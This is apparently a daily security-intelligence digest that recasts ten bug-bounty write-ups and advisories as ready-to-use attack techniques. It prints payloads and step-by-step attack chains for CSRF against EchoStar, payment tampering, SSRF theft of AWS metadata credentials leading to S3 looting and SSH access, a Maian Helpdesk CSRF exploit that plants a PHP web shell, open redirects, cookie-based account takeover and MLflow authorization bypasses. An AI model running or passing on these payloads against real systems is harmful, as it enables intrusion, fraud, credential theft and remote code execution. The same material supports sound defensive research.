ETX Signal-X

Daily Intelligence Digest

Tuesday, February 17, 2026

10	20
ARTICLES	TECHNIQUES

Article 1

CSRF Vulnerability in EchoStar Company

Source: securitycipher
Date: 23-Apr-2025
URL: https://medium.com/@youssefmohamed_84205/csrf-vulnerability-in-echostar-company-ffecbc6edc24

T1 CSRF Exploitation via Unprotected POST Endpoint

💉 **Payload**

```
<form action="https://www.echostar.com/profile/update" method="POST">
  <input type="hidden" name="email" value="attacker@example.com">
  <input type="hidden" name="phone" value="1234567890">
  <input type="submit" value="Submit">
</form>
```

⚔️ **Attack Chain**

1. Attacker crafts a malicious HTML form targeting the POST endpoint `/profile/update`.
2. Victim, while authenticated, visits attacker-controlled page.
3. Form auto-submits or victim clicks submit, sending POST request with attacker-supplied parameters.
4. Victim's session cookie authenticates the request, updating profile data without consent.

🔍 **Discovery**

Manual review of profile update functionality revealed absence of CSRF token in POST requests and responses.

🔓 **Bypass**

No CSRF token or referer/origin validation implemented; any authenticated user can be targeted regardless of browser.

🔗 **Chain With**

Can be chained with privilege escalation or account takeover if profile fields control access or are used in authentication flows.

T2 CSRF Exploitation via GET Endpoint (Sensitive Action)

💉 Payload

```
<img src="https://www.echostar.com/account/delete?id=1234">
```

⚔️ Attack Chain

1. Attacker embeds an image tag with a GET request to `/account/delete?id=1234` in a web page or email.
2. Victim, while logged in, loads the page/email, triggering the GET request automatically.
3. Victim's session cookie authenticates the request, deleting the account without user interaction.

🔍 Discovery

Inspection of account management endpoints revealed sensitive actions performed via GET requests without CSRF protection.

🔓 Bypass

GET endpoint lacks CSRF token and does not validate referer/origin headers; browser auto-triggers the request.

🔗 Chain With

Can be chained with enumeration or IDOR to delete arbitrary accounts if `id` parameter is predictable or accessible.

T3 CSRF via JSON POST (API Endpoint)

💉 Payload

```
<script>
fetch('https://www.echostar.com/api/settings', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({"setting":"dark_mode","value":true})
});
</script>
```

⚔️ Attack Chain

1. Attacker hosts a malicious script that sends a JSON POST request to `/api/settings` endpoint.
2. Victim visits attacker-controlled site while authenticated.
3. Browser sends request with victim's session cookie, modifying settings without user consent.

🔍 Discovery

Testing API endpoints for CSRF revealed JSON POST requests were accepted without CSRF token or origin validation.

🔓 Bypass

No CSRF token required for JSON POST; browser automatically attaches session cookies.

🔗 Chain With

Can be chained with privilege escalation if settings endpoint controls access or features; may enable further exploitation depending on modified settings.

Article 2

Breaking app's logic workflow to decrease the payments' amounts

Source: securitycipher

Date: 29-Dec-2024

URL: https://medium.com/@bag0zathev2/breaking-apps-logic-workflow-to-decrease-the-payments-amounts-9c9f44efe23d

T1 Manipulating Payment Amount via Workflow Logic Flaw

💉 **Payload**

```
POST /api/payment/checkout
{
  "amount": 1,
  "currency": "USD",
  "payment_method": "credit_card",
  "user_id": "12345"
}
```

⚔️ **Attack Chain**

1. Register or log in to the target application.
2. Add items to cart with a total value (e.g., $100).
3. Intercept the payment request sent to `/api/payment/checkout`.
4. Modify the `amount` parameter in the request body to a lower value (e.g., 1 instead of 100).
5. Forward the modified request to the server.
6. Complete the payment with the reduced amount.
7. Confirm that the purchased items are delivered despite the manipulated payment.

🔍 **Discovery**

Observed that the payment API accepts client-supplied `amount` values without server-side validation. Manual inspection of API requests during checkout revealed the opportunity to tamper with the amount.

🔓 **Bypass**

No server-side verification of cart total versus payment amount; client-side validation only, easily bypassed by intercepting and modifying the request.

🔗 **Chain With**

Can be combined with account registration automation for mass exploitation, or chained with coupon/discount logic flaws to further decrease payment amounts.

T2 Skipping Payment Step to Receive Goods for Free

💉 Payload

```
POST /api/order/confirm
{
  "order_id": "98765",
  "user_id": "12345"
}
```

⚔️ Attack Chain

1. Add items to cart and proceed to checkout.
2. Intercept the workflow sequence between payment and order confirmation.
3. Directly call the `/api/order/confirm` endpoint with a valid `order_id`, skipping the payment step.
4. Receive order confirmation and delivery without payment.

🔍 Discovery

Workflow analysis revealed that the order confirmation endpoint does not check for completed payment status. Manual API exploration identified the endpoint and tested skipping payment.

🔓 Bypass

Order confirmation logic does not enforce payment completion; relies on client workflow, allowing direct invocation.

🔗 Chain With

Can be used in conjunction with account creation or session hijacking to exploit multiple orders. Potential to chain with inventory manipulation or coupon abuse for further impact.

T3 Applying Multiple Discount Codes to Reduce Payment Below Minimum

💉 Payload

```
POST /api/payment/checkout
{
  "amount": 10,
  "currency": "USD",
  "discount_codes": ["SAVE50", "WELCOME10"],
  "user_id": "12345"
}
```

⚔️ Attack Chain

1. Add items to cart with a total value (e.g., $60).
2. Apply multiple discount codes during checkout.
3. Intercept and modify the API request to include multiple codes.
4. Submit the request and observe that the payment amount is reduced below the intended minimum (e.g., $0 or negative value).
5. Complete the purchase at an abnormally low price.

🔍 Discovery

Tested stacking discount codes in the checkout API, observed lack of validation for minimum payment amount. Manual API manipulation demonstrated the flaw.

🔓 Bypass

Discount code stacking not properly restricted; no server-side enforcement of minimum payment or single-use per code.

🔗 Chain With

Can be chained with payment amount manipulation for zero-cost purchases, or with order confirmation bypass for free delivery.

Article 3

Untitled

Source:

Date:

URL:

T1 SSRF via Misconfigured Proxy to Access Internal AWS Metadata

💉 Payload

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

⚔️ Attack Chain

1. Identify a misconfigured proxy that allows arbitrary HTTP requests from the application server.
2. Send a crafted SSRF payload targeting the AWS EC2 metadata endpoint via the proxy.
3. Retrieve temporary AWS credentials from the metadata endpoint.

🔍 Discovery

Observed that the proxy allowed requests to internal IPs and discovered the ability to reach AWS metadata service.

🔓 Bypass

Used the proxy to bypass network restrictions on direct access to 169.254.169.254.

🔗 Chain With

AWS credentials can be leveraged for further attacks (e.g., S3 bucket access, privilege escalation).

T2 Privilege Escalation via S3 Bucket Access with Stolen AWS Credentials

💉 Payload

```
aws s3 ls s3://<target-bucket> --profile <stolen-creds>
```

⚔️ Attack Chain

1. Use temporary AWS credentials obtained via SSRF to configure AWS CLI locally.
2. Enumerate accessible S3 buckets.
3. Access sensitive files and keys stored in S3 buckets.

🔍 Discovery

Tested AWS CLI access using credentials retrieved from metadata service, found S3 buckets with sensitive data.

🔓 Bypass

Credentials bypassed S3 bucket policy restrictions.

🔗 Chain With

Sensitive files (e.g., SSH keys, config files) can be used for lateral movement or shell access.

T3 Remote Shell Access via SSH Key Extracted from S3

💉 Payload

```
ssh -i <downloaded-key> user@target-host
```

⚔️ Attack Chain

1. Download SSH private key from S3 bucket using compromised AWS credentials.
2. Use the key to authenticate to the target host via SSH.
3. Gain remote shell access to the server.

🔍 Discovery

Found SSH key in S3 bucket after enumerating files with AWS CLI.

🔓 Bypass

SSH key bypassed authentication controls on the target host.

🔗 Chain With

Shell access enables privilege escalation, persistence, and further exploitation.

Article 4

♀️ The Ultimate Bug Bounty Hunting Checklist: From Recon to Reporting

Source: securitycipher

Date: 01-Jul-2025

URL: https://medium.com/@shikha1149mehta/%EF%B8%8F-%EF%B8%8F-the-ultimate-bug-bounty-hunting-checklist-from-recon-to-reporting-99010d5402f3

⚠️ No actionable techniques found

Article 5

Maian Support Helpdesk 4.3 contains a cross-site request forgery vulnerability that allows attackers to create administrative accounts without authentication. Attackers can craft malicious HTML forms to add admin users and upload PHP files with unrestrict

Source: threatable

Date:

URL: https://www.exploit-db.com/exploits/48386

T1 **CSRF Admin Account Creation**

💉 **Payload**

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/helpdesk/admin/index.php?ajax=team"
method="POST">
<input type="hidden" name="enabled" value="yes" />
<input type="hidden" name="admin" value="yes" />
<input type="hidden" name="welcome" value="yes" />
<input type="hidden" name="name" value="Besim&#32;ALTINOK" />
<input type="hidden" name="email" value="test2&#64;gmail&#46;com" />
<input type="hidden" name="accpass" value="111111" />
<input type="hidden" name="timezone" value="0" />
<input type="hidden" name="language" value="" />
<input type="hidden" name="addpages" value="" />
<input type="hidden" name="notePadEnable" value="yes" />
<input type="hidden" name="enableLog" value="yes" />
<input type="hidden" name="mergeperms" value="yes" />
<input type="hidden" name="profile" value="yes" />
<input type="hidden" name="ticketHistory" value="yes" />
<input type="hidden" name="close" value="yes" />
<input type="hidden" name="lock" value="yes" />
<input type="hidden" name="editperms&#91;&#93;" value="ticket" />
<input type="hidden" name="editperms&#91;&#93;" value="reply" />
<input type="hidden" name="timer" value="yes" />
<input type="hidden" name="startwork" value="yes" />
<input type="hidden" name="workedit" value="yes" />
<input type="hidden" name="notify" value="yes" />
<input type="hidden" name="spamnotify" value="yes" />
<input type="hidden" name="signature" value="" />
<input type="hidden" name="nameFrom" value="" />
<input type="hidden" name="emailFrom" value="" />
<input type="hidden" name="email2" value="" />
<input type="hidden" name="notes" value="" />
<input type="hidden" name="mailbox" value="yes" />
<input type="hidden" name="mailDeletion" value="yes" />
<input type="hidden" name="mailScreen" value="yes" />
<input type="hidden" name="mailCopy" value="yes" />
<input type="hidden" name="mailFolders" value="5" />
<input type="hidden" name="mailPurge" value="0" />
<input type="hidden" name="digest" value="yes" />
<input type="hidden" name="process" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

⚔️ **Attack Chain**

1. Host malicious HTML form on attacker-controlled site.
2. Victim visits attacker site while authenticated to Maian Support Helpdesk 4.3.

3. Form auto-submits POST request to `/admin/index.php?ajax=team` with parameters creating a new admin account.
4. Attacker logs in with new admin credentials.

🔍 **Discovery**

Manual review of admin creation endpoint revealed lack of CSRF protection and unrestricted POST parameters.

🔓 **Bypass**

No CSRF tokens or referer checks present; form can be submitted from any origin.

🔗 **Chain With**

Combine with file upload CSRF (Technique 2) for post-account creation RCE.

T2

CSRF File Upload (FAQ Attachments)

💉 **Payload**

```
<html>
<body>
<script>history.pushState('', '', '/')<\/script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/localhost\/helpdesk\/admin\/index.php?ajax=faqattach", true);
xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------185183275327258370073l626849");
xhr.withCredentials = true;
var body =
"-----------------------------185183275327258370073l626849\r\n" +
"Content-Disposition: form-data; name=\"file[]\";
filename=\"shell.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php echo system($_GET[\'cmd\']); ?\x3e\n" +
"\r\n" +
"-----------------------------185183275327258370073l626849\r\n" +
"Content-Disposition: form-data; name=\"file[]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------185183275327258370073l626849\r\n" +
"Content-Disposition: form-data; name=\"remote[]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------185183275327258370073l626849\r\n" +
"Content-Disposition: form-data; name=\"remote[]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------185183275327258370073l626849\r\n" +
"Content-Disposition: form-data; name=\"remote[]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------185183275327258370073l626849\r\n" +
"Content-Disposition: form-data; name=\"process\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------185183275327258370073l626849\r\n" +
"Content-Disposition: form-data; name=\"opath\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------185183275327258370073l626849--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
```

```
<input type="button" value="Submit request"
onclick="submitRequest();" />
</form>
</body>
</html>
```

⚔️ **Attack Chain**

1. Host malicious HTML/JS on attacker site.
2. Victim (admin) visits attacker site while authenticated.
3. JavaScript crafts and submits a multipart/form-data POST to `/admin/index.php?ajax=faqattach`.
4. Payload uploads `shell.php` containing `<?php echo system($_GET['cmd']); ?>` to FAQ attachments.
5. Attacker accesses shell via `/helpdesk/content/attachments-faq/shell.php?cmd=ls` for remote command execution.

🔍 **Discovery**

Manual endpoint analysis of FAQ attachment upload revealed lack of file type restrictions and CSRF protection.

🔓 **Bypass**

No file extension or MIME checks; CSRF tokens absent; upload accepts arbitrary PHP files via crafted multipart request.

🔗 **Chain With**

Combine with admin account CSRF (Technique 1) for privilege escalation and persistent RCE. Can also be used for lateral movement if FAQ attachments are accessible by other users.

Article 6

How I Discovered an Easy 2FA Vulnerability on Logitech

Source: securitycipher

Date: 26-Oct-2024

URL: https://medium.com/@dhananjay_00/how-i-discovered-an-easy-2fa-vulnerability-on-logitech-ff0d07178b04

T1 2FA Bypass via Password Reset Flow

💉 **Payload**

```
N/A (No specific code payload; exploit relies on logical flow manipulation)
```

⚔️ **Attack Chain**

1. Navigate to the Logitech login page and initiate the password reset process for a target account.
2. Complete the password reset process by providing the account email and following the reset instructions.
3. After resetting the password, log in to the account using the new password.
4. Observe that the account is accessed directly without triggering the configured 2FA (Two-Factor Authentication) challenge.

🔍 **Discovery**

The researcher noticed that after resetting the password, the login flow did not prompt for 2FA, despite 2FA being enabled on the account. This was discovered by testing the password reset flow and monitoring post-reset authentication steps.

🔓 **Bypass**

The password reset flow circumvents the 2FA requirement, allowing access to accounts with 2FA enabled without providing the second factor. This is due to improper enforcement of 2FA after password reset.

🔗 **Chain With**

Can be chained with credential stuffing or phishing attacks to compromise accounts with 2FA enabled. Also enables lateral movement if the account has elevated privileges or access to sensitive resources.

Article 7

Qwik is a performance focused javascript framework. Prior to version 1.19.0, an Open Redirect vulnerability in Qwik City&#039;s default request handler middleware allows a remote attacker to redirect users to arbitrary protocol-relative URLs. Successful exploi

Source: threatable

Date:

URL: https://github.com/QwikDev/qwik/commit/9959eab30a3ad9cc03689eaa080fcfbc33df71ed

T1 Open Redirect via Protocol-Relative URLs in Qwik City Middleware

💉 **Payload**

```
//evil.com
```

⚔️ **Attack Chain**

1. Identify an endpoint in a Qwik City application that performs a redirect using user-supplied input (e.g., `requestEv.redirect(302, url)`).
2. Supply a protocol-relative URL as the redirect target, such as `//evil.com`.
3. Prior to version 1.19.0, the middleware does not sanitize protocol-relative URLs, resulting in the `Location` header being set to `//evil.com`.
4. User is redirected to an attacker-controlled domain due to the protocol-relative URL.

🔍 **Discovery**

Analysis of unit tests and middleware code changes revealed that protocol-relative URLs (`//evil.com`) were not sanitized, allowing open redirect.

🔓 **Bypass**

By using protocol-relative URLs (double or more leading slashes), the redirect bypasses typical path validation and results in cross-domain navigation.

🔗 **Chain With**

Can be chained with phishing, session hijacking, or credential theft attacks by redirecting users to malicious sites.

T2 Open Redirect via Multiple Leading Slashes

💉 Payload

```
////evil.com
```

⚔️ Attack Chain

1. Locate a redirect endpoint in Qwik City that accepts arbitrary URL input.
2. Submit a URL with multiple leading slashes (e.g., `////evil.com`).
3. The middleware prior to v1.19.0 fails to normalize these, resulting in the `Location` header pointing to `/evil.com` or, in some cases, still allowing protocol-relative navigation depending on downstream handling.
4. User is redirected to a potentially attacker-controlled path or domain.

🔍 Discovery

Unit tests and code diffs showed that URLs with multiple leading slashes were not properly sanitized, enabling open redirect scenarios.

🔓 Bypass

Multiple leading slashes can bypass naive path checks that only look for a single slash, potentially resulting in protocol-relative redirects.

🔗 Chain With

May be used to bypass redirect filters, escalate to phishing, or combine with other path-based vulnerabilities.

T3 Trailing Slash Manipulation for Path Normalization Bypass

💉 Payload

```
/about
/about/
```

⚔️ Attack Chain

1. Identify endpoints where the `fixTrailingSlash` function is used to enforce or remove trailing slashes based on configuration.
2. Manipulate the path by omitting or adding a trailing slash (e.g., `/about` vs `/about/`).
3. The middleware redirects to normalized paths, potentially leaking information or enabling open redirect if combined with crafted input.
4. If query strings are present, they are preserved in the redirect (e.g., `/about?foo=bar` → `/about/?foo=bar`).

🔍 Discovery

Unit tests demonstrate that manipulating trailing slashes triggers redirects, which could be leveraged in chaining attacks or information disclosure.

🔓 Bypass

Path normalization logic can be bypassed by crafting URLs that exploit the trailing slash enforcement, especially when combined with query strings or special path segments.

🔗 Chain With

Can be chained with open redirect or path traversal attacks, or used to trigger unwanted redirects in authentication flows.

Article 8

Account Takeover via Cookie Attribute Manipulation — A Unique Method

Source: securitycipher

Date: 31-Jan-2025

URL: https://medium.com/@pauldipesh29/account-takeover-via-cookie-attribute-manipulation-a-unique-method-ea66a78cdb06

T1 Account Takeover via Manipulation of URL-Encoded PII Cookie

💉 **Payload**

```
{  "sub":"123abc456-1234-1234-ac12-789abc012",  "email_verified":true,  "name":"John Doe",
"preffered_username":"testB",  "given_name":"John",  "family_name":"Doe",  "email":"victima
ccount@example.com"}{"sub":"123abc456-1234-1234-ac12-789abc012", "email_verified": true tru
e, "name": "John Doe", "preffered_username": "testB", "given_name": "John", "family_name":
"Doe", "email":"victimaccount@example.com"}
```

⚔️ **Attack Chain**

1. Log in as attacker account (`testA`).
2. Observe the `user_info` cookie, which contains URL-encoded PII including username and email.
3. Decode the cookie value using Burp Suite or similar tool.
4. Modify the `preffered_username` and `email` fields to match the victim's account (`testB`, `victimaccount@example.com`).
5. Encode the modified cookie back to its original format.
6. Replace the existing `user_info` cookie in the browser with the manipulated value.
7. Refresh the page; session now reflects victim's account, confirmed by `user-id` header changing to victim's identifier.
8. Access all victim account functionalities as attacker.

🔍 **Discovery**

Manual inspection of session cookies during grey-box testing; noticed URL-encoded PII in `user_info` cookie and tested manipulation of fields. Error messages on gibberish values indicated user existence checks, prompting targeted substitution with victim's values.

🔓 **Bypass**

Session management was not bound to access token or other cookies; application trusted the manipulated `user_info` cookie for session identity, allowing attacker to impersonate victim by simply changing cookie values.

🔗 **Chain With**

Combine with IDOR or privilege escalation if victim account has higher privileges. Use for lateral movement if other cookies or headers can be similarly manipulated. Potential to chain with CSRF if attacker can force victim to set malicious cookie via cross-site scripting or other means.

Article 9

HTML injection vulnerability in NICE Chat. This vulnerability allows an attacker to inject and render arbitrary HTML content in email transcripts by modifying the &#039;firstName&#039; and &#039;lastName&#039; parameters during a chat session. The injected HTML is included i

Source: threatable

Date:

URL: https://www.incibe.es/en/incibe-cert/notices/aviso/html-injection-nice-chat

T1 HTML Injection via Chat Session Parameters in NICE Chat

💉 **Payload**

```
<script>alert('XSS')</script>
```

⚔️ **Attack Chain**

1. Initiate a chat session with the NICE Chat system.
2. Set the 'firstName' and/or 'lastName' parameters to an arbitrary HTML payload (e.g., `<script>alert('XSS')</script>`).
3. Complete the chat session so that the system generates and sends an email transcript.
4. The injected HTML is rendered in the body of the email transcript received by the recipient.

🔍 **Discovery**

Researcher noticed that the 'firstName' and 'lastName' parameters in the chat session were reflected in email transcripts without proper sanitization. Manual testing with HTML/script tags confirmed injection and rendering.

🔓 **Bypass**

No filtering or encoding is applied to user-supplied 'firstName' and 'lastName' values before inclusion in the email transcript, allowing direct HTML injection.

🔗 **Chain With**

Phishing: Injecting forms or links to steal credentials. Impersonation: Spoofing sender identity in transcript. Credential theft: Crafting payloads to trick recipients into entering sensitive information. Potential for chaining with mail gateway weaknesses (e.g., if mail client executes JavaScript).

Article 10

MLflow&#039;s Missing Validators: An Authorization Bypass Across API Surfaces | Tachyon Blog

Source: threatable

Date:

URL: https://tachyon.so/blog/mlfow-bypass

T1 Authorization Bypass via Unvalidated Flask Helper Endpoints

💉 **Payload**

```
curl -s -H"Authorization: Basic $NON_ADMIN_TOKEN" "$API_URL/get-artifact?run_id=$RUN&path=secret.txt"
```

⚔️ **Attack Chain**

1. Obtain credentials for a legitimate, authenticated non-admin user.
2. Identify the experiment/run/artifact to target (e.g., via admin-created run and artifact).
3. Attempt access to the canonical REST API endpoint (`/api/2.0/mlflow/artifacts/list?run_id=$RUN`) and confirm it returns 403 (access denied).
4. Access the same artifact via the unvalidated helper endpoint (`/get-artifact?run_id=$RUN&path=secret.txt`) using Basic Auth.
5. Retrieve the full contents of the restricted artifact without authorization enforcement.

🔍 **Discovery**

Reconnaissance and codebase mapping revealed multiple API surfaces. Tracing decorator registration and the `before_request` hook showed that helper endpoints like `/get-artifact` were not registered in the `BEFORE_REQUEST_VALIDATORS` map, thus bypassing per-object authorization.

🔓 **Bypass**

Authorization is only enforced if a validator exists for the route. Helper endpoints not registered in the validator map allow authenticated users to access protected resources without authorization checks.

🔗 **Chain With**

Can be chained with artifact poisoning: attacker uploads malicious artifacts via other unprotected endpoints, leading to downstream code execution when privileged systems consume them.

T2 Unauthorized Artifact Upload via Unvalidated AJAX API Endpoint

💉 Payload

```
curl -s -o /dev/null -w'%{http_code}\n' -H"Authorization: Basic $NON_ADMIN_TOKEN" --data-binary @<(printf "MALICIOUS CONTENT") "$API_URL/ajax-api/2.0/mlflow/upload-artifact?run_uuid=$RUN&path=malicious.txt"
```

⚔️ Attack Chain

1. Authenticate as a non-admin user.
2. Identify a restricted run (e.g., one where the user has no permissions).
3. Upload a malicious artifact to the run using the unvalidated AJAX API endpoint (`/ajax-api/2.0/mlflow/upload-artifact?run_uuid=$RUN&path=malicious.txt`).
4. Confirm successful upload (HTTP 200), bypassing authorization.
5. Wait for privileged processes (admin review, CI, serving system) to load the poisoned artifact, potentially triggering code execution.

🔍 Discovery

Follow-on campaign after initial REST API analysis targeted `/ajax-api/*` routes. Tracing endpoint handlers to decorator registration revealed missing entries in `BEFORE_REQUEST_VALIDATORS`, enabling artifact upload without authorization checks.

🔓 Bypass

If the route is not mapped in the validator registry, the `before_request` hook does not invoke authorization, allowing write operations by unauthorized users.

🔗 Chain With

Artifact poisoning: attacker can escalate privileges or achieve RCE when downstream systems load the malicious artifact.

T3 Authorization Bypass via GraphQL Endpoint

💉 Payload

```
_No explicit payload provided, but implied access via GraphQL queries to restricted run met
adata._
```

⚔️ Attack Chain

1. Authenticate as a non-admin user with no permissions on a target experiment/run.
2. Send GraphQL queries to `/graphql` endpoint to retrieve metadata or artifacts from restricted runs.
3. Receive sensitive data without triggering per-object authorization checks.

🔍 Discovery

Reconnaissance phase identified parallel API surfaces, including GraphQL. Analysis showed that GraphQL resolvers were not integrated with the validator mechanism, thus bypassing authorization.

🔓 Bypass

GraphQL endpoint is not covered by the validator registry; requests proceed after authentication without per-object authorization enforcement.

🔗 Chain With

Potential for lateral movement or privilege escalation if sensitive metadata or artifacts are used by downstream systems.